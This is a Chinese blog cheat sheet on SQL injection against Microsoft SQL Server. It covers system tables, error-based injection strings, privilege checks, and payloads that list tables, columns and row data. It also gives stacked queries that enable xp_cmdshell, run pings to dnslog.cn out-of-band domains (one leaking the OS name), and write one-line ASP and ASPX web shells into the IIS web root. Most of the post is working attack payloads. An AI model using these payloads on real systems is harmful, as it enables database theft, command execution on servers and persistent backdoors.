首页 > 数据库 >MSsql数据库 sql注入

MSsql数据库 sql注入

时间:2024-04-08 09:03:32浏览次数:19  
标签:name -- 数据库 id sql xp MSsql select

  • 和mysql不同;每个数据库都有自己的信息总结表
  • 四个系统数据库
    • master
      • sysdatabases :所有数据库信息
        • name :所有数据库名
      • sysobjects :数据库所有对象的信息
      • syscolumns :字段信息
      • 固定字段名
        • name 对象名
        • id 对象id
        • xtype 对象类型代码
          • xtype='U' 用户创建的表
          • xtype='S' 系统表
    • model
      • sysobjects
      • syscolumns
    • msdb
      • sysobjects
      • syscolumns
    • tempdb
      • sysobjects
      • syscolumns
  • 用户自己创建的数据库也会自动携带下面字段
    • sysobjects
    • syscolumns
  • 常用函数
    • db_name() :数据库名
    • host_name() :主机名
    • current_user :返回数据库当前的用户名
    • user :用户
    • substring() :截取函数;不能用substr()
    • @@verison :查看数据库版本
    • char() :ascii码转字符
    • cast(text as type() :字符类型转换;转化失败就会以text结果显示在页面上
    • object_id() :根据表名返回数据库表名id
    • object_name() :根据id返回数据库表名
    • col_name(object_id,column_id) :返回指定表中指定字段的名称
    • col_name(object_id('users'),2)
  • 调用表名
    • 数据库名.用户名.表名
  • 报错注入
    • 'or 1=convert(int,@@version)--
    • 1-user
    • 1/user
    • convert(int,user)
    • db_name()
  • 注入流程
    • 判断权限
      • 权限:sa 、db_owner 、public
      • and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
      • and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
      • and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
      • and 1=(select IS_MEMBER('db_owner'));-
    • 获取当前数据库
      • and 1=(select db_name()) --
    • 获取当前数据库的表名
      • and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))) --
    • 获取当前数据库中表的所有字段
      • and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
    • 读取内容
      • and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
  • 命令执行
    • 开启xp_cmdshell,0为关闭,1为开启
      • ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
    • 关闭xp_cmdshell
      • ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; --
    • 执行ping判断是否能执行xp_cmdshell和服务器是否通外网
      • ;exec master..xp_cmdshell "ping teki6x.dnslog.cn" –
      • ;execute('xp_cmdshell "“’)
      • ;exec xp_cmdshell ' ping%20%25os%25.4mt18t.dnslog.cn '
    • 写入一句话木马;需要知道网站根目录
      • asp
        • ;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> > C:\Inetpub\wwwroot\test.asp' --
      • aspx
        • ;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> > C:\Inetpub\wwwroot\test.aspx' --

标签:name,--,数据库,id,sql,xp,MSsql,select
From: https://blog.csdn.net/I_WORM/article/details/137490252

相关文章

  • Access数据库
    access是没有数据库的;只有表流程判断数据库类型--->判断表名---->判断列名---->判断列名长度(列中第一条记录数据长度)---->读取数据asp网站常用数据库:access和mssql数据库判断数据库如果有msysobjects则是access数据库;如果有sysobjects则是sqlsever数据库andexists......
  • sql server 分页语句OFFSET 和 FETCH NEXT 怎样使用?
    原文链接:https://blog.csdn.net/weixin_45659376/article/details/107336143在SqlServer2012之前,实现分页主要是使用ROW_NUMBER(),在SQLServer2012,可以使用Offset...RowsFetchNext...Rowsonly的方式去实现分页数据查询。在OrderBy子句中新增Offset-Fetch子句,用于从有......
  • koa下mysql连接池案例
    下面是一个简单的示例,演示了如何在Koa应用程序中使用MySQL连接池:constKoa=require('koa');constRouter=require('koa-router');constmysql=require('mysql');constapp=newKoa();constrouter=newRouter();//创建MySQL连接池constpool=mysql.cre......
  • sql注入-MySQL
    01.常用符号、函数、语句1.1.常用符号1.1.1.注释符注释符说明#(%23)单行注释在URL中#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由,所以测试一般用URL编码后的%23––-±-+单行注释注意–后还有一个空格;其中+号会被URL解码为......
  • mysql系列之一条sql的旅程(二)
    在介绍一条sql是怎么执行的之前,我们先来了解一下mysql的架构: 如上图mysql主要分为server层和存储引擎层:server层算是mysql的核心能力层,如sql语句的解析优化,权限管控,各类的sql函数、存储过程,以及自身数据备份,恢复等高级功能(binlog实现),我们用到的一些基础的增删......
  • SQL窗口函数的移动求和/平均,及相应的Leecode题目
    原文链接:https://blog.csdn.net/weixin_45638528/article/details/130229603移动求和的窗口函数——连续n个数据求和sum(字段1)over(partitionby字段2orderby字段3rowsnpreceding)LEECODE1321餐馆营业额变化增长表:Customer+---------------+---------+|Colum......
  • 使用MySQL驱动方式实现读写分离
    前言MySQL在5.1.X版本之后增加了对multi-host的支持,我们可以使用它来实现读写分离。正常的jdbc连接格式为jdbc:mysql://ip:3306/testdb?characterEncoding=UTF-8multi-host的jdbc连接格式为jdbc:mysql:replication://ip:3306,ip:3307,ip:3308/testdb?useUnicode=t......
  • Springboot计算机毕业设计财务报销微信小程序【附源码】开题+论文+mysql+程序+部署
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着移动互联网技术的飞速发展,微信小程序作为一种新型的应用形态,以其便捷、高效的特点受到了广大用户的青睐。在高等教育领域,财务管理是学校运营中不......
  • Springboot计算机毕业设计博物馆预约小程序【附源码】开题+论文+mysql+程序+部署
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在信息化、数字化日益发展的今天,博物馆作为传承历史文化的重要场所,其管理和服务方式也在不断革新。传统的博物馆参观方式往往受限于开放时间、参观人......
  • 【SQL】数据定义语言(DDL):包括创建、修改和删除数据库对象
    数据定义语言(DDL)是用于定义和管理数据库中的数据结构和对象的SQL语言子集。它允许用户创建、修改和删除数据库中的表、索引、触发器、序列、存储过程等对象。DDL语句在数据库系统中执行时,通常会影响整个数据库的结构,而不是单个的数据记录。以下是DDL中一些常用语句的详细介绍......